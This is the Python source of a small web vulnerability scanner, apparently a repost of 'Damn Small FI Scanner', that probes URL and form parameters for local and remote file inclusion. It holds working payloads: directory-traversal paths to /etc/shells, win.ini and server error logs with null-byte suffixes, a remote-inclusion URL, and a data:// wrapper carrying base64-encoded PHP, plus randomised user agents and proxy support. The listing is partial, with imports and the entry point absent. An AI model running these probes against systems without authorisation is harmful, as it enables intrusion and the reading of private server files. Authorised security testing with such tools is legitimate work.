【100行Python代码扫描器】 LFI/RFI vulnerability scann

NAME    = "Damn Small FI Scanner (DSFS) < 100 LoC (Lines of Code)"
VERSION = "0.1c"
AUTHOR  = "Miroslav Stampar (@stamparm)"
LICENSE = "Public domain (FREE)"

DYNAMIC_CONTENT_VALUE = "Legal disclaimer:"                                                                 # string value to search if the content is dynamically evaluated
DYNAMIC_CONTENT = "<?php echo base64_decode('%s');?>" % DYNAMIC_CONTENT_VALUE.encode("base64").strip()      # used dynamic content
COOKIE, UA, REFERER = "Cookie", "User-Agent", "Referer"                                                     # optional HTTP header names
GET, POST = "GET", "POST"                                                                                   # enumerator-like values used for marking current phase
TIMEOUT = 30                                                                                                # connection timeout in seconds

ERROR_REGEX = r"(?i)(Fatal error|Warning)(</b>)?:\s+((require|include)(_once)?|file_get_contents)\(\)"      # regular expression used for detection of vulnerability specific PHP error messages

FI_TESTS = (                                                                                                # each (test) item consists of ("filepath", "content recognition regex", (combining "prefixes"), (combining "suffixes"), 'inclusion type')
    ("", r"\[[^\]]+\]\s+\[(warn|notice|error)\]\s+\[client", ("/xampp/apache/logs/", "/apache/logs/", "/wamp/apache2/logs/", "/wamp/logs/", "/program files/wamp/apache2/logs/", "/program files/apache group/apache/logs/", "/var/log/apache/", "/var/log/apache2/", "/var/log/httpd/", "/var/log/nginx/", "/opt/lampp/logs/", "/opt/xampp/logs/"), ("error.log", "error.log%00"), 'L'),
    ("https://raw.githubusercontent.com/stamparm/DSFS/master/files/", "Usage of Damn Small FI Scanner", ("",), ("", "%00", "config", "config.php", "config.php%00", "config.jpg", "config.jpg%00"), 'R'),
    ("/etc/shells", "valid login shells", ("../../../../../../..", ""), ("", "%00"), 'L'),
    ("/windows/win.ini", "for 16-bit app support", ("../../../../../../..", ""), ("", "%00"), 'L'),
    ("data://text/plain;base64,%s" % DYNAMIC_CONTENT.encode("base64").strip(), ("<?php echo base64_decode\(|%s" % DYNAMIC_CONTENT_VALUE), ("", ), ("", ), 'S'),
)

USER_AGENTS = (                                                                                             # items used for picking random HTTP User-Agent header value
    "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7_0; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21",
    "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
    "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20020508 Netscape6/6.1",
    "Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5",
    "Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10"
)

_headers = {}                                                                                               # used for storing dictionary with optional header values

def _retrieve_content(url, data=None, method=None):
    try:
        req = urllib2.Request("".join(url[i].replace(' ', "%20") if i > url.find('?') else url[i] for i in xrange(len(url))), data, _headers)
        req.get_method = lambda: method or (POST if data else GET)
        retval = urllib2.urlopen(req, timeout=TIMEOUT).read()
    except Exception, ex:
        retval = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", str())
    return retval or ""

def scan_page(url, data=None):
    retval, usable = False, False
    _retrieve_content(url, method=DYNAMIC_CONTENT)                                                          # dummy errorneous request
    try:
        for phase in (GET, POST):
            current = url if phase is GET else (data or "")
            for match in re.finditer(r"((\A|[?&])(?P<parameter>[\w\[\]]+)=)(?P<value>[^&]*)", current):
                warned, found, usable = False, False, True
                print "* scanning %s parameter '%s'" % (phase, match.group("parameter"))
                for filepath, regex, prefixes, suffixes, inc_type in FI_TESTS:
                    for prefix, suffix in itertools.product(prefixes, suffixes):
                        tampered = current.replace(match.group(0), "%s%s" % (match.group(1), urllib.quote("%s%s%s" % (prefix, filepath, suffix), safe='%')))
                        content = (_retrieve_content(tampered, data) if phase is GET else _retrieve_content(url, tampered))
                        if re.search(regex, content):
                            print " (i) %s parameter '%s' appears to be (%s)FI vulnerable (e.g.: '%s')" % (phase, match.group("parameter"), inc_type, tampered)
                            if DYNAMIC_CONTENT_VALUE in content:
                                print "  (!) content seems to be dynamically evaluated"
                            found = retval = True
                            break
                        if not found and not warned and re.search(ERROR_REGEX, content, re.I):
                            print " (i) %s parameter '%s' could be FI vulnerable" % (phase, match.group("parameter"))
                            warned = True
        if not usable:
            print " (x) no usable GET/POST parameters found"
    except KeyboardInterrupt:
        print "\r (x) Ctrl-C pressed"
    return retval

def init_options(proxy=None, cookie=None, ua=None, referer=None):
    global _headers
    _headers = dict(filter(lambda _: _[1], ((COOKIE, cookie), (UA, ua or NAME), (REFERER, referer))))
    urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler({'http': proxy})) if proxy else None)